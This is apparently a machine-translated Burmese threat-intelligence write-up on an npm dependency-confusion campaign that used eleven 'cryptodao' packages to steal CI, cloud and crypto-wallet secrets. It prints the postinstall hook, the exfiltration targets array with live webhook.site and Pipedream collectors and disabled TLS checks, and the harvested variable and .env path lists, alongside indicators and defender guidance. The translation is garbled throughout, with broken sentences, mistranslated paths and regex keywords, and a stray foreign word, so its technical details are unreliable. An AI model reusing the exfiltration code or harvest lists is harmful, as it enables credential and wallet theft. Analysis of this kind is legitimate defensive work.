TL; DR
၂၀၂၆-၀၆-၁၇ ရက်နေ့တွင် npm အကောင့်တစ်ခုတည်းကို ထုတ်ဝေခဲ့သည် ရည်ရွယ်ချက်တစ်ခုတည်းနှင့် payload တစ်ခုတည်းကို မျှဝေသည့် package ဆယ့်တစ်ခုသူတို့ထဲက ဆယ်ယောက်က cryptodao- ရှေ့ဆက် (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ဆယ့်တစ်ခုမြောက်သည် အတိုင်းအတာသတ်မှတ်ထားသည် @public-for-cdao/coreဗားရှင်းမှာ ထုတ်ဝေခဲ့တာ အားလုံးပါပဲ။ 99.99.99 ပြီးတော့ byte-identical တစ်ခုကို ပို့ပေးပါတယ် recon.js ပေါ်သည်။ postinstall.
နာမည်တွေက ပြောပြနေပါတယ်။ crypto/DAO ပရောဂျက်ရဲ့ private toolchain ရဲ့ internal building blocks တွေလို ဖတ်ရပါတယ်။ public npm registry မှာ artificial high version နဲ့ publish လုပ်တဲ့အခါ build တစ်ခုအတွက် စောင့်နေရပါတယ်။ pipeline ထိုအမည်များကို ဖြေရှင်းရန် ပြင်ဆင်ထားပြီး ပုဂ္ဂလိက မှတ်ပုံတင်ခြင်း မတိုင်မီ သို့မဟုတ် အစား public npm သို့ ရောက်ရှိသည်။ ၎င်းသည် မှီခိုမှုရှုပ်ထွေးမှု၊ ပြီးတော့ payload ကို ၎င်းဆင်းသက်ရန် မျှော်လင့်ထားသည့်နေရာအတိအကျအတွက် ချိန်ညှိထားသည်- CI/CD အပြေးသမား.
ဘယ်တော့လဲ postinstall မီးများ၊ recon.js အိမ်ရှင်အသေးစိတ်အချက်အလက်များကို စုဆောင်းပြီး ကြမ်းတမ်းစွာ လှည့်ပတ်ကြည့်ရှုသည် cloud၊ CI နှင့် crypto-wallet ပတ်ဝန်းကျင် variable လေးဆယ်, မည်သည့်အရာကိုမဆို ဖတ်သည် .env ဖိုင်များသည် လျှို့ဝှက်ချက်ပါရှိသော စာကြောင်းများကို ရှာဖွေပြီး တိုက်ရိုက်ပေးပို့နိုင်သည်၊ ထို့နောက် အစုအဝေးကို စုဆောင်းသူနှစ်ဦးထံ ပေးပို့သည် - webhook.site နှင့် TLS လက်မှတ်အတည်ပြုခြင်းကို ပိတ်ထားသည့် Pipedream endpoint တစ်ခု။ မိတ္တူတစ်စောင်ကိုလည်း အောက်တွင် ရေးသားထားသည်။ /tmp.
ပြင်းထန်မှု - မြင့်သော။ ထိခိုက်ခံရသော ဂေဟစနစ်- npmပက်ကေ့ဂျ် ၁၁ ခုစလုံးသည် ရေးသားချိန်တွင် တိုက်ရိုက်ထုတ်လွှင့်နေပါသည်။
တိုက်ခိုက်မှုခန္ဓာဗေဒ
ယန္တရားတွင် ရွေ့လျားနေသော အစိတ်အပိုင်းလေးခုပါရှိပြီး သင်သိသည်နှင့် ၎င်းတို့ထဲမှ တစ်ခုမျှ သိမ်မွေ့ခြင်းမရှိပါ။ package name ကိုကျော်ပြီး layer တစ်ခုကြည့်ပါ။
၁။ ဗားရှင်းဖောင်းပွမှုကို ဖြေရှင်းပေးသည့် ဆွဲဆောင်မှုတစ်ခုအဖြစ်။ ပက်ကေ့ချ်တစ်ခုချင်းစီက ဗားရှင်းကို ကြေညာပါတယ် 99.99.99package manager က တစ်ခုခုတောင်းဆိုတဲ့အခါ dependency confusion က အလုပ်လုပ်ပါတယ်။ အတွင်းပိုင်းအမည်၊ အများပြည်သူမှတ်ပုံတင်ကိုလည်း စစ်ဆေးပြီး အမြင့်ဆုံးဗားရှင်းကို ရွေးချယ်သည် ရှာဖွေတွေ့ရှိချက်များ။ npm ၏ caret သို့မဟုတ် wildcard အပိုင်းအခြားအတွက် default ရွေးချယ်မှုမှာ configure လုပ်ထားသော အရင်းအမြစ်တိုင်းတွင် အမြင့်ဆုံးကျေနပ်ဖွယ်ကောင်းသော ဗားရှင်း၊ နှစ်ခုစလုံးသည် သီးသန့်ဖြစ်ပါက registry နဲ့ public npm တို့ဟာ နာမည်တူရင် အဖြေတူရင် version နံပါတ်ကြီးရင် အနိုင်ရပါတယ်။ A 99.99.99 ပရောဂျက်တစ်ခုတွင်ရှိမည့် မည်သည့်စစ်မှန်သော အတွင်းပိုင်းဗားရှင်းထက်မဆို အခြေခံအားဖြင့် သာလွန်သည် ရောက်ရှိပြီဖြစ်သောကြောင့် private source တွင် pin မလုပ်ထားသော resolver သည် အများပြည်သူ — ဤကိစ္စတွင် ရန်လိုသော — မိတ္တူ။ အော်ပရေတာသည် သိရှိရန် မလိုအပ်ပါ။ ပစ်မှတ်ရဲ့ တကယ့်ဗားရှင်းနံပါတ်တွေ၊ ရယ်စရာကောင်းတဲ့ အများဆုံးတစ်ခုကို ရွေးချယ်ခြင်းက အမြဲတမ်း တူညီနေမှာကို အာမခံပါတယ် သူတို့ရဲ့လမ်းကို ချိုးဖျက်တယ်။
၂။ ထည့်သွင်းပြီးနောက် လှုံ့ဆော်မှု။ မြတ်စွာဘုရား payload ကို install ထဲသို့ ဝါယာကြိုးများ ချိတ်ပါ ဘဝဖြစ်စဥ်:
{ "scripts": { "postinstall": "node recon.js" } } package ကို import လုပ်စရာမလိုပါဘူး။ CI တစ်ခုဖြစ်ပြီး install လုပ်လိုက်ရုံပါပဲ။ pipeline အလိုအလျောက်လုပ်ဆောင်သည် — လုပ်ဆောင်သည် recon.js.
၃။ ကျယ်ပြန့်သော လျှို့ဝှက်စစ်ဆင်ရေး။ recon.js ရလဒ်အစုတစ်ခုကို အဆင့်လိုက်စုစည်းသည်-
- Host context: hostname၊ platform နှင့် release၊ architecture၊ username၊ working directory ကို။
- ပတ်ဝန်းကျင်ပြောင်းလဲမှုများ- ၎င်းသည် အမည်နှင့် မှတ်တမ်းလေးဆယ်ခန့်၏ ပုံသေစာရင်းကို ထပ်ခါတလဲလဲလုပ်ဆောင်သည် သတ်မှတ်ထားသော မည်သည့်အရာမဆို။ စာရင်းက ထင်ရှားနေပါတယ် — ၎င်းသည် ယေဘုယျ CI တိုကင်များကို တွဲဖက်ထားသည် (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) နှင့် မိုးတိမ် အထောက်အထားများ (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) မှတ်ပုံတင်ခြင်းနှင့် ကွန်တိန်နာ လျှို့ဝှက်ချက်များနှင့်အတူ (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) နှင့် ထူးခြားစွာ crypto-အရသာရှိသော cluster တစ်ခု- PRIVATE_KEY, မှတ်ဉာဏ်ဆိုင်ရာ အထောက်အကူပြုပစ္စည်းများ, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPC။ မှတ်တမ်းတင်ထားသော တန်ဖိုးများကို ပထမဆုံး စာလုံး ၅၀ အထိ ဖြတ်တောက်ထားသည်။
- .env ဖိုင်များ- ၎င်းသည် လမ်းကြောင်းများစာရင်းကို စုံစမ်းစစ်ဆေးသည် — .env, ../.env, /အက်ပ်/.env, /အက်ပ်/နောက်ခံ/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, နှင့် .ထုတ်လုပ်မှု/ဖွံ့ဖြိုးတိုးတက်မှု မျိုးကွဲများ — နှင့် ရှိပြီးသား မည်သည့်ဖိုင်အတွက်မဆို၊ အကြောင်းအရာများကို လိုင်းများကိုက်ညီမှုသို့ စစ်ထုတ်သည် သော့|လျှို့ဝှက်|တိုကင်|လက်မှတ်|ကိုယ်ပိုင်|မှတ်သားရန် ပြီးတော့ အဲဒီစာကြောင်းတွေကို **အပြည့်အဝ၊ ဖြတ်တောက်မထားဘဲ** ရလဒ်တွေထဲကို တွန်းပို့ပါတယ်။
- Build-host context: ၎င်းသည် ပထမဆုံး entry ၂၀ ကို စာရင်းပြုစုထားသည်- /တည်ဆောက်မှုများ/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/နှင့် /tmp/.
path list နှင့် variable list ကို GitLab runners များဆီသို့ အလေးချိန်သတ်မှတ်ထားပြီး ၎င်းသည် developer မဟုတ်ဘဲ self-hosted CI infrastructure မှာ payload ကို တိုက်ရိုက်အသုံးပြုပါတယ်။ လက်တော့ပ်။ ရိတ်သိမ်းမှုစာရင်းကို အမျိုးအစားအလိုက် အုပ်စုဖွဲ့ခြင်းဖြင့် ရည်ရွယ်ထားသော သယ်ယူပို့ဆောင်မှုကို ရိုးရှင်းစေသည်-
| အမျိုးအစား | ရောက်ရှိပြီးသော variable များ / path များ |
|---|---|
| CI/CD အထောက်အထားနှင့် ဖြန့်ကျက်ခြင်း | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| မိုဃ်းတိမ်ကို | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| မှတ်ပုံတင်နှင့် ကွန်တိန်နာ | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| ဒေတာသိုလှောင်မှုများ | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| ဒစ်ဂျစ်တယ်ငွေကြေး / ဘလောက်ရှော့ | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| messaging | SLACK_TOKEN, DISCORD_TOKEN |
| ဒစ်ခ်ပေါ်တွင် | .env မိသားစု + /home/gitlab-runner/.env, /root/.env, /app/**/.env; လမ်းညွှန်စာရင်းများ /builds/, /var/lib/gitlab-runner/ |
crypto cluster က ဒါကို generic CI-secret နဲ့ ခွဲခြားပေးတဲ့ အစိတ်အပိုင်းပါ။ sweep: ပိုက်ဆံအိတ် seed phrases များနှင့် signing keys များသည် ပတ်ဝန်းကျင်တွင်သာ ပေါ်လာပါသည်။ blockchain ပရောဂျက်ကို တိုက်ရိုက် မြေပုံဆွဲပြီး cryptodao-/အမှတ်လက္ခဏာ/ကန်ထရိုက်စာချုပ်များ သယ်ဆောင်သူများ၏ အမည်ပေးခြင်း။
၄။ အတည်ပြုခြင်းကို ပိတ်ထားသော နှစ်ထပ်စစ်ထုတ်ခြင်း။ စုစည်းထားသော array သည် စီးရီးလိုက်လုပ်ပြီး ဦးတည်ရာနှစ်ခုသို့ POSTED လုပ်သည်-
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) ငြင်းပယ်ခွင့်မရှိ: မှားယွင်းသည် အထွက်အတွက် TLS လက်မှတ်စစ်ဆေးမှုများကို ပိတ်သည် ဖုန်းခေါ်ဆိုမှုများ။ တူညီသောဒေတာကို stdout သို့ ပရင့်ထုတ်သည် (ထို့ကြောင့် ၎င်းသည် CI job logs တွင်လည်း ကျရောက်သည်) နှင့် ရေးသားခဲ့သည် /tmp/.npm_recon_ .jsonအမှားများကို တိတ်တဆိတ် မျိုချလေ့ရှိသည်၊ ထို့ကြောင့် ပေးပို့မှု မအောင်မြင်ပါက install output တွင် መልእክትတစ်ခုတည်းမှလွဲ၍ မည်သည့်သဲလွန်စမှ မချန်ထားခဲ့ပါ။ [ပြန်လည်စစ်ဆေးခြင်း] တွင်တပ်ဆင်ထားသည် လိုင်း။
ဖိုင်ထဲက ဦးဆောင်မှတ်ချက်တစ်ခုက ၎င်းကို “Dependency Confusion” အဖြစ် ဖော်ပြပါတယ်။ "Reconnaissance Payload" ပတ်ဝန်းကျင်တန်ဖိုးများကို စာလုံး ၅၀ အထိ ဖြတ်တောက်ခြင်းသည် အယူအဆသက်သေပြချက်၏ပုံသဏ္ဌာန်။ ၎င်းကို ရှိနေခြင်းသာရှိသော မီးပြတိုက်ကို ကျော်လွန်သွားစေသည်မှာ .env ကိုင်တွယ်ခြင်း- လျှို့ဝှက်လမ်းကြောင်းများကို အပြည့်အဝ ပေးပို့ပြီး ဦးတည်ရာများ ရေတွက်ရုံသာရှိသော စင်တစ်ခုအစား တိုက်ခိုက်သူထိန်းချုပ်ထားသော လုပ်ဆောင်နေသော စုဆောင်းသူနှစ်ဦးဖြစ်သည် hits ။
timeline ကို
ထုတ်ဝေမှုပုံစံသည် ဆယ့်တစ်မဟုတ်ဘဲ ဇာတ်ညွှန်းရေးသားထားသော push တစ်ခုတည်း၏ အမှတ်အသားဖြစ်သည်။ လွတ်လပ်သော အပ်လုဒ်များ။
| အချိန် (UTC၊ ၂၀၂၆-၀၆-၁၇) | အဖြစ်အပျက် |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 ပုံနှိပ်ထုတ်ဝေ |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — နယ်ပယ်အလိုက် ကွဲပြားသော မူကွဲ၊ ~၂၄ မိနစ်အကြာတွင် |
၂၉ စက္ကန့်အတွင်း ပါကင်ဆယ်ခု ထွက်သွားပြီး သုံးစက္ကန့်လျှင် တစ်ခုခန့် ထွက်သွားခဲ့သည်။ ကန့်သတ်ထားသော @cdao အတွက် လူထု/အဓိက မိနစ် ၂၄ ခန့်အကြာတွင် - တစ်စက္ကန့် သုံးစွဲနေသော ပရောဂျက်သည် ၎င်းကို ရည်ညွှန်းပါက တူညီသောပစ်မှတ်အတွက် အမည်ပေးခြင်းဆိုင်ရာ သဘောတူညီချက် internal toolchain ကို ဗလာအမည်များအဖြစ် မဟုတ်ဘဲ scope တစ်ခုအောက်တွင် ထားရှိသည်။
ညှိနှိုင်းမှု၏ ညွှန်ပြချက်များ
| ပုံစံ | အညွှန်းကိန်း |
|---|---|
| collector | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| collector | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| ချိတ်တပ်ဆင်ခြင်း | postinstall: node recon.js |
| ဖိုင်ကို ဖျက်လိုက်ပါပြီ | /tmp/.npm_recon_<timestamp>.json |
| လော့ဂ် အမှတ်အသား | [recon] <pkg>@<ver> installed on <hostname> (CI မှတ်တမ်းများတွင် stdout) |
| အမူအကျင့် | rejectUnauthorized: false ထည့်သွင်းနေစဉ်အတွင်း HTTPS ပြင်ပတွင် |
| payload | recon.jspackage ဆယ့်တစ်ခုလုံးတွင် တူညီသည် (မျှဝေထားသော build တစ်ခု) |
| ဗားရှင်း | 99.99.99 အထုပ်တိုင်းမှာ |
| packages | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (အားလုံး 99.99.99) |
| ပုံနှိပ်ထုတ်ဝေသူ | aduljune / aduljune@proton.me (အီးမေးလ်ကို အတည်မပြုရသေးပါ၊ ချိတ်ဆက်ထားသော အရင်းအမြစ်သိုလှောင်ရုံ မရှိပါ) |
အထောက်အထားနှင့် လေ့လာတွေ့ရှိထားသော အပြုအမူ
cluster နဲ့ ပတ်သက်တဲ့ အရာအားလုံးက လက်တစ်ဖက်တည်းနဲ့ သက်ဆိုင်ပါတယ်။ package ဆယ့်တစ်ခုလုံးကို ထုတ်ဝေခဲ့ပါတယ်။ npm အကောင့်ကနေ အဒူလ်ဂျွန်း (aduljune@proton.me, မပါရှိသော အတည်မပြုရသေးသော လိပ်စာတစ်ခု ချိတ်ဆက်ထားသော အရင်းအမြစ်သိုလှောင်ရုံ)၊ မိနစ် ၂၅ အတွင်း၊ တစ်ချိန်တည်းတွင် 99.99.99 မူကွဲ ပို့ဆောင်ခြင်း recon.js byte-for-byte တစ်ခုချင်းစီတွင် ပါဝင်သော အကြောင်းအရာများသည် တူညီကြသည် package (MD5 သည် ထုတ်ယူထားသော မိတ္တူ ၁၁ ခုလုံးတွင် ကိုက်ညီသည်)။ ၎င်းသည် payload တစ်ခုဖြစ်သည်။ သီးခြားကုဒ်ပြန်လည်အသုံးပြုခြင်းမဟုတ်ဘဲ အမည်စာရင်းပေါ်တွင် ရိုက်နှိပ်ထားသည်။
အမည်စာရင်းတွင် ရည်ရွယ်ထားသော ပစ်မှတ်ကို သတ်မှတ်ပေးသည်။ cryptodao-* နှင့် cdao ဖော်ပြပါ crypto/DAO ပရောဂျက်၏ သီးသန့် module အပြင်အဆင်နှင့် payload ၏ harvest list ခန့်မှန်းချက်ပေးသော မှန်များ- ယေဘုယျ CI နှင့် cloud လျှို့ဝှက်ချက်များနှင့်အတူ၊ ၎င်းသည် အထူးသဖြင့် ရောက်ပါတယ်။ PRIVATE_KEY, မှတ်ဉာဏ်ဆိုင်ရာ အထောက်အကူပြုပစ္စည်းများ, SEED_PHRASEနှင့် Ethereum/BSC RPC နှင့် ဝန်ဆောင်မှုပေးသူသော့များ။ .env ရှာဖွေမှုလမ်းကြောင်းများနှင့် လမ်းညွှန်စာရင်းများသည် GitLab-runner ဖြစ်သည် တိကျသည်။ မြင်သာသော အကျိုးသက်ရောက်မှုမှာ မည်သည့် pipeline ဒါတွေကို install လုပ်ဖို့ လှည့်စားခံရတယ် အမည်များသည် ၎င်း၏ CI တိုကင်များ၊ cloud key များနှင့် on-disk တို့ကို forward လုပ်လိမ့်မည် .env လျှို့ဝှက်ချက်များ — နှင့်၊ အတွက် blockchain ပရောဂျက်တစ်ခု၊ ၎င်း၏ပိုက်ဆံအိတ်ပစ္စည်း — ပြင်ပစုဆောင်းသူနှစ်ဦးထံသို့။
အကောင့်ကို မည်သူလည်ပတ်နေသည် သို့မဟုတ် ၎င်းတို့သည် အောက်ပါတို့ကို ပြုလုပ်ရန် စီစဉ်ထားသည်နှင့်ပတ်သက်၍ ကျွန်ုပ်တို့ မည်သည့်တောင်းဆိုချက်မျှ မပြုလုပ်ပါ။ အချက်အလက်။ ၎င်းတို့ဘာသာ ရပ်တည်သော အချက်အလက်များ- အမည်များသည် သတ်မှတ်ထားသော အမျိုးအစားတစ်ခုကို ပစ်မှတ်ထားသည်။ internal toolchain မှာ payload ဟာ တကယ့် secret values တွေကို ဖတ်ပြီး ပို့လွှတ်ပါတယ်၊ ပြီးတော့ အခြေခံအဆောက်အအုံကို တိုက်ရိုက်ထုတ်လွှင့်ခဲ့သည်။
သက်ရောက်မှု၊ ခေတ်ရေစီးကြောင်းများနှင့် ကာကွယ်သူလမ်းညွှန်မှု
မှီခိုမှု ရှုပ်ထွေးမှု ၎င်းသည် resolver အပြုအမူကို အသုံးချသောကြောင့် ထိရောက်မှုရှိနေဆဲဖြစ်ပြီး၊ package တိုင်းမှာ အားနည်းချက်ရှိပါတယ်။ ဒီမှာ carrier က အရေးမကြီးပါဘူး — ဆယ့်တစ်ခုလောက် ဗလာနီးပါးဖြစ်နေတယ်။ package တွေ — ဒါပေမယ့် ပေါက်ကွဲမှု အချင်းဝက်က ဘာပဲဖြစ်ဖြစ်ပါ pipeline public npm ကို မှားယွင်းစွာ နှစ်သက်သည် အတွင်းပိုင်းအမည်အတွက်။ CI runners များသည် ထိုသို့ဖြစ်ပွားရန် အဆိုးရွားဆုံးနေရာဖြစ်သည်- ၎င်းတို့သည် အတိအကျ တိုကင်များနှင့် .env ဒီ payload ဖိုင်တွေကို ဖတ်ပြီး သူတို့က install လုပ်ပါတယ် အပြန်အလှန် သက်ရောက်မှု မရှိသော မှီခိုမှုများ၊ ထို့ကြောင့် တပ်ဆင်ပါ။ ဘယ်သူမှ မကြည့်ဘဲ ပြေးတယ်။
ဒီ cluster က ကျွန်တော်တို့ အမြဲမြင်တွေ့နေရတဲ့ ပုံစံနဲ့လည်း ကိုက်ညီပါတယ်- install-time payloads တွေက တင်ပြပါတယ် တကယ့်အထောက်အထားတွေ စုဆောင်းနေချိန်မှာ “သုတေသန” ဒါမှမဟုတ် “ကင်းထောက်ခြင်း” အနေနဲ့ပါ။ တံဆိပ် ဖိုင်ထဲမှာ ကုဒ်က runner မှာ လုပ်ဆောင်တာကို မပြောင်းလဲပါဘူး။ ဒီဇိုင်းရွေးချယ်မှုနှစ်ခုက လှုပ်ရှားမှု တိတ်ဆိတ်ခြင်း- ကွန်ရက်နှင့် ဖိုင်စနစ် လုပ်ဆောင်ချက်တိုင်းကို ထုပ်ပိုးထားသည် အမှားအယွင်းများကို ဖယ်ထုတ်သည့် exception handler တစ်ခုဖြစ်သောကြောင့် ပိတ်ဆို့ထားသော ပေးပို့မှု သို့မဟုတ် ပျောက်ဆုံးနေသော ဖိုင်တစ်ခု ရောဂါရှာဖွေရေး ရလဒ်ကို မထုတ်ပေးပါဘူး၊ ပြီးတော့ ရိုက်နှိပ်ထားတဲ့ တစ်ခုတည်းသောအရာက အန္တရာယ်မရှိတဲ့ တစ်ခုတည်းသော အရာပါပဲ [ပြန်လည်] … ထည့်သွင်းပြီးပါပြီ ပုံမှန် install လုပ်တဲ့ စကားပြောသံနဲ့ ရောနှောနေတဲ့ လိုင်း။ အသုံးပြုမှု webhook.site ပြီးတော့ Pipedream ကလည်း တမင်သက်သက် အဆင်ပြေစေတာပါပဲ — နှစ်ခုစလုံးက အခမဲ့ပါ၊ request-capture ဝန်ဆောင်မှုများကို ချက်ချင်းပံ့ပိုးပေးသောကြောင့် operator သည် server များ မလိုအပ်ပါ။ ၎င်းတို့၏ကိုယ်ပိုင်နှင့် ဦးတည်ရာများသည် egress logs ရှိ သာမန် SaaS hostname များနှင့်တူသည်။
စီးပွားရေးက ဒါကို ကာကွယ်သူတစ်ယောက်ရဲ့ အာရုံစိုက်မှုကို ထိုက်တန်စေတာဖြစ်ပေမယ့် carrier code က အရေးမကြီးပါဘူး။ နာမည် ၁၁ ခုကို မှတ်ပုံတင်တာက ဘာမှ ကုန်ကျစရိတ် မရှိပါဘူး၊ payload ကတော့ တစ်ခုပဲ ရှိပါတယ်။ ဖိုင်ကို ဆယ့်တစ်ကြိမ် ကူးယူပြီး package manager က လုပ်ဆောင်မှုအားလုံးကို လုပ်ဆောင်ပါတယ်။ တစ်ခုတည်းနဲ့ မှားယွင်းစွာ ဖွဲ့စည်းထားသော pipeline ဒီနာမည်တွေထဲက တစ်ခုခုကို သုံးတဲ့ ဘယ်နေရာမဆို တစ်ခုလုံးအတွက် ပေးချေပါတယ် စစ်ဆင်ရေး။
ကာကွယ်သူများအတွက် ခိုင်မာသောခြေလှမ်းများ-
- သင့်ရဲ့ သီးသန့် မှတ်ပုံတင်စာရင်းမှာ internal scope တွေကို pin လုပ်ပါ။ npm အတွင်းပိုင်းအမည်များကို ပြင်ဆင်ပါ
နှင့် scopes များသည် သင်၏ registry (scoped .npmrc registry mappings များကိုသာ ခွဲခြားသတ်မှတ်သည်)၊ သို့မဟုတ် owned namespace များအတွက် public npm ထံသို့ ဘယ်တော့မှ မရောက်သော proxy တစ်ခု)။ သင့် public scope name များကို အခြားမည်သူမျှ မှတ်ပုံတင်၍မရစေရန် သိမ်းဆည်းထားပါ။
- Commit lockfiles များကို ထည့်ပြီး –ignore-scripts ဖြင့် ထည့်သွင်းပါ။ CI မှာ ဖြစ်နိုင်သည့်နေရာတွင် သို့မဟုတ် install script တွေ တကယ်လိုအပ်တဲ့ dependencies အစုငယ်လေးတွေကို စစ်ဆေးပါ။ recon.js ကို လုပ်ဆောင်၍မရပါ။ တပ်ဆင်ပါ။ ကွပ်မျက်ခြင်း မရှိပါ။
- အတွင်းပိုင်းပုံပေါက်သော အမည်၏ ၉၉.၉၉.၉၉ (သို့မဟုတ် အခြား ရယ်စရာကောင်းလောက်အောင် မြင့်မားသော) ဗားရှင်းကို ဆက်ဆံပါ။ အနီရောင်အလံအဖြစ် မှီခိုမှု ပြန်လည်သုံးသပ်ခြင်းနှင့် မှတ်ပုံတင်ခြင်း စောင့်ကြည့်ခြင်းတွင်။
- ထည့်သွင်းချိန် ထွက်ခွာချိန်အတွက် သတိပေးချက်။ A တပ်ဆင်ပါ။ ၎င်းသည် ထွက်သွားသော HTTPS ကို ဖွင့်ပေးသည် ချိတ်ဆက်မှု — အထူးသဖြင့် လက်မှတ်အတည်ပြုခြင်းကို ပိတ်ထားချိန်တွင် — သို့ webhook.site၊ Pipedream သို့မဟုတ် အလားတူ request-capture ဝန်ဆောင်မှုများသည် network edge တွင် block လုပ်ပြီး build log များတွင် flag လုပ်သင့်သည်။
- ရှေးဟောင်းပစ္စည်းများကို ရှာဖွေပါ။ အပြေးသမားများကို စစ်ဆေးပါ /tmp/.npm_recon_*.json နှင့် [recon] … မကြာသေးမီက CI မှတ်တမ်းများတွင် … marker ပေါ်တွင် ထည့်သွင်းထားသည်။ တွေ့ရှိပါက လှည့်တိုင်း ယင်းနှင့်သက်ဆိုင်သော အထောက်အထား pipeline — CI တိုကင်များ၊ cloud key များ၊ registry တိုကင်များနှင့် ပတ်ဝန်းကျင် သို့မဟုတ် .env ဖိုင်များတွင်ရှိသော မည်သည့် wallet seeds သို့မဟုတ် private key များ။
ကိုးကား
ဤစာရေးသားချိန်တွင် ဤအစုအဝေးနှင့်ပတ်သက်သည့် ပြင်ပအစီရင်ခံစာများ မရှိခဲ့ပါ။ ခွဲခြမ်းစိတ်ဖြာမှု အထက်ဖော်ပြပါ အကြောင်းအရာများသည် ထုတ်ဝေထားသော ပက်ကေ့ချ်အကြောင်းအရာများအပေါ် တိုက်ရိုက်အခြေခံထားသည်




